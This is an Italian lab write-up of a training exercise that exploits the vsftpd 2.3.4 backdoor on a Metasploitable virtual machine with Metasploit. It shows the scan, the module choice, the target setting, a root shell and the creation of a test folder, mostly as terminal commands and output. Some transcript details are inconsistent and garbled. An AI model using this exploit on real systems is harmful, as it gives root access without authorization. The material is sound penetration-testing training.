



Nell'esercizio di oggi dobbiamo sfruttare una vulnerabilit  presente su metasploitable

Per prima cosa eseguiamo una scansione dei servizi su metasploitable con il programma nMap tramite il comando `-sV`.

A questo punto attiviamo il programma metasploit e andiamo a cercare la lista degli exploit relativi alle funzioni attive sul bersaglio, in questo caso ci concentriamo su Vsftpd.

```
Shell No.1
File Actions Edit View Help
$ sudo msf6b init && msfconsole
[sudo] password for kali:
[*] Starting database
[!] The database appears to be already configured, skipping initialization
Metasploit tip: Enable verbose logging with set VERBOSE true

=====
XX XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XX XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XX X XXXXXXXX XXXXXXXXXXXX https://metasploit.com XXXXXXXXXXXXXXXXXXXXXXXX
XX XX XXXXXXXX XXXXXXXXXXXX https://metasploit.com XXXXXXXXXXXXXXXXXXXXXXXX
XX XXXXXXXX XXXXXXXXXXXX https://metasploit.com XXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXX XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXX XX XX X XX XX XXXXXX X XXXX XX XXXXXX XX XXXX
XXXXX XX XX X XXX XXXX XXXX XX XXXX XX XX XX XXX XX XX XXXX
XXXX XXXXXX XX XXXXXX XXXX XXX XXXX XX XX XXX XXX XX XX XXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
=====
--=[ metasploit v6.3.55-dev ]
+ --=[ 2397 exploits - 1235 auxiliary - 422 post ]
+ --=[ 1391 payloads - 46 encoders - 11 nops ]
+ --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules
=====
# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Fatto questo abbiamo caricato l'exploit con il payload per caricare una shell sul bersaglio dopo aver impostato l'ip target tramite comando **set RHOSTS**

```
File Actions Edit View Help
+ -- --[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
- - - - -
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Payload options (cmd/unix/interact):

Name Current Setting Required Description
- - - - -

Exploit target:

Id Name
-- --
0 Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

# Name Disclosure Date Rank Check Description
- - - - -
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Dopo essere entrati all'interno del server bersaglio possiamo finalmente creare la cartella che veniva richiesta dall'esercizio tramite il comando **mkdir**. Dallo screen possiamo vedere come riusciamo ad accedere alle configurazioni di rete della macchina bersaglio.

```
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:40337 -> 192.168.1.149:6200) at 2024-03-04 13:04:23 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:7a:43:13
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe7a:4313/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:32 errors:0 dropped:0 overruns:0 frame:0
          TX packets:132 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2414 (2.3 KB)  TX bytes:12052 (11.7 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:184 errors:0 dropped:0 overruns:0 frame:0
          TX packets:184 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:53257 (52.0 KB)  TX bytes:53257 (52.0 KB)
```

```
View the full module info with the info, or info -d command.
msf6 exploit(wsis/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(wsis/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#  Name                               Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/interact            normal         No     Unix Command, Interact with Established Connection

msf6 exploit(wsis/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.180:40337 -> 192.168.1.149:6200) at 2024-03-04 13:04:23 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:7a:43:13
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a80:27ff:fe7a:4313/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:127 errors:0 dropped:0 overruns:0 frame:0
          TX packets:132 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2414 (2.3 KB)  TX bytes:12052 (11.7 KB)
          Base address:0x0020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:184 errors:0 dropped:0 overruns:0 frame:0
          TX packets:184 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:53257 (52.0 KB)  TX bytes:53257 (52.0 KB)

msf6
msf6 > mkdir test_metasploit
```

```
metasploitable [in esecuzione] - Oracle VM VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Auto
UP LOOPBACK RUNNING  MTU:16436  Metric:1
RX packets:127 errors:0 dropped:0 overruns:0 frame:0
TX packets:127 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:29405 (28.7 KB)  TX bytes:29405 (28.7 KB)

msfadmin@metasploitable:~$ ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data:
From 192.168.1.149: icmp_seq=1 Destination Host Unreachable
From 192.168.1.149: icmp_seq=2 Destination Host Unreachable
From 192.168.1.149: icmp_seq=3 Destination Host Unreachable
From 192.168.1.149: icmp_seq=4 Destination Host Unreachable
From 192.168.1.149: icmp_seq=5 Destination Host Unreachable
From 192.168.1.149: icmp_seq=6 Destination Host Unreachable

--- 192.168.1.1 ping statistics ---
8 packets transmitted, 0 received, 100% packet loss, time 7015ms

msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ ls
.  ..  bin  dev  initrd  lost+found  mshup.out  root  sys  usr
boot  etc  initrd.img  media  opt  sbio  test_metasploit  var  vmlinuz
cdrom  home  lib  mnt  proc  srv  tmp
msfadmin@metasploitable:/$
```

A questo possiamo verificare che la cartella sia presente all'interno del server e quindi accertarci che il comando sia andato a buon fine.